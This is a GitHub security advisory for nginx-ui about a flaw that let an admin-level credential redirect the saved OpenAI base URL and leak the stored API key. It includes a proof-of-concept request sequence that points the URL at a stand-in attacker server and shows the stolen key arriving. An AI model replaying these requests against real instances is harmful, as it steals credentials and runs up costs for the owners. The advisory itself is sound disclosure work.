Skip to main content
Menu
Advisories

OpenAI API Key Exfiltration via Unprotected BaseUrl Setting Change

GHSA-P355-QJWH-8HGMPublished Updated GitHub

Description

An administrator session or an api:write service token (nginx-ui has no low-privilege interactive users) could change the saved OpenAI base URL or proxy while sending the redacted token placeholder, which restored the stored API key. Subsequent LLM requests then sent the stored key to the new destination. Affects instances with an LLM provider token configured. The changed base URL is visible on the settings page.

Patches

Fixed in 2.9.1 (fecb2a8d71): the saved token is only reused while the base URL, proxy and API type keep their saved values; changing any of them requires the token to be re-entered.

Workarounds

Limit api:write tokens to trusted automation, and rotate the provider key if the saved base URL or proxy changed unexpectedly.

---

Original report

The maintainer narrowed the following points: the prerequisite is an administrator-equivalent credential rather than "any authenticated user", and the base URL change is visible in the UI.

Summary

Any authenticated user can exfiltrate the stored OpenAI API key by changing the unprotected BaseUrl setting to an attacker-controlled server while preserving the real token via the sentinel value __NGINX_UI_REDACTED__. The maintainer's own code comment in api/llm/models.go describes this exact attack but protection was only applied to one endpoint.

Details

nginx-ui's OpenAI integration stores the API key with sensitive:"true" (redacted as __NGINX_UI_REDACTED__ when read via API). However, the BaseUrl and Proxy fields in settings/openai.go lack the protected:"true" tag, allowing any authenticated user to redirect all LLM API calls to an attacker-controlled server. The real API key is sent in the Authorization header of every redirected request.

The Sentinel Value Attack

The attack exploits the restore function in api/settings/section.go (lines 224-230):

var openAISection = settingsSection[settings.OpenAI]{
    restore: func(payload *settings.OpenAI) {
        if payload.Token == redactedSensitiveValue {
            payload.Token = settings.OpenAISettings.Token  // preserves real token
        }
    },
}

By sending __NGINX_UI_REDACTED__ as the token alongside a new BaseUrl, the attacker preserves the victim's real API key while redirecting where it is sent.

Maintainer Awareness

The maintainer is aware of this exact attack vector. In api/llm/models.go (lines 57-62), a code comment explicitly states:

// The saved token is only sent to the saved endpoint through the saved proxy:
// otherwise anyone who can open the settings page could point the base URL at
// a server of their own and read the token from the request.

The storedTokenFor() function implements this protection — but only for the ListModels endpoint. The actual LLM request path (MakeChatCompletionRequest in api/llm/llm.go line 89) calls GetClient() which reads directly from settings.OpenAISettings without any BaseUrl validation.

Root Cause

FileLineIssue
settings/openai.go21BaseUrl has no protected:"true" tag
settings/openai.go23Proxy has no protected:"true" tag
api/settings/section.go224-230restore function preserves token with sentinel
api/llm/llm.go89GetClient() uses saved settings without BaseUrl check
internal/llm/client.go34,50Token sent to user-controlled URL

Proof of concept

Prerequisites: nginx-ui instance with OpenAI configured (any version with LLM integration).

Step 1: Victim admin configures OpenAI with a real API key:

POST /api/settings/openai
Content-Type: application/json
Authorization: Bearer <jwt>

{"token": "sk-proj-REAL-KEY", "base_url": "https://api.openai.com/v1", "provider": "openai"}

Step 2: Attacker (any authenticated user — no RBAC) changes only the BaseUrl, using the sentinel value to preserve the real token:

POST /api/settings/openai
Content-Type: application/json
Authorization: Bearer <attacker-jwt>

{"base_url": "https://attacker-server.com/v1", "token": "__NGINX_UI_REDACTED__"}

Result: HTTP 200 — BaseUrl changed, token preserved via restore function.

Step 3: Any user triggers the AI assistant (chat, code completion, config title generation):

POST /api/llm
Content-Type: application/json
Authorization: Bearer <any-jwt>

{"messages": [{"role": "user", "content": "hello"}]}

Step 4: Attacker's server receives the real API key:

POST /v1/chat/completions HTTP/1.1
Host: attacker-server.com
Authorization: Bearer sk-proj-REAL-KEY    <-- STOLEN
Content-Type: application/json

{"model":"gpt-4","messages":[{"role":"user","content":"hello"}]}

Full automated PoC with embedded capture server tested on Docker (nginx-ui latest). Token captured in Authorization header.

Impact

  • API key theft: The victim's OpenAI API key (which can cost thousands of dollars in usage) is sent to the attacker's server in the Authorization header
  • Stealthy: The token still appears as __NGINX_UI_REDACTED__ in the settings UI — the victim has no visual indication the BaseUrl was changed
  • Affects all LLM calls: Every chat completion, code suggestion, and title generation sends the key to the attacker
  • Inconsistent protection: The storedTokenFor() function in models.go proves the maintainer considers this a real threat — but the protection only covers the ListModels endpoint, not MakeChatCompletionRequest
  • Real-world scenario: In a shared nginx-ui instance (common in teams), a disgruntled team member or compromised account can silently steal the organization's OpenAI API key

Suggested Fix

Add protected:"true" to BaseUrl and Proxy fields in settings/openai.go:

type OpenAI struct {
    BaseUrl string `json:"base_url" protected:"true"`
    Token   string `json:"token" sensitive:"true"`
    Proxy   string `json:"proxy" protected:"true"`
}

This is consistent with how other security-sensitive fields are protected (Terminal.StartCmd, Logrotate.CMD, Crypto.Secret, all Casdoor/OIDC fields).

Affected versions

References

GitHub · 0xJacky/nginx-ui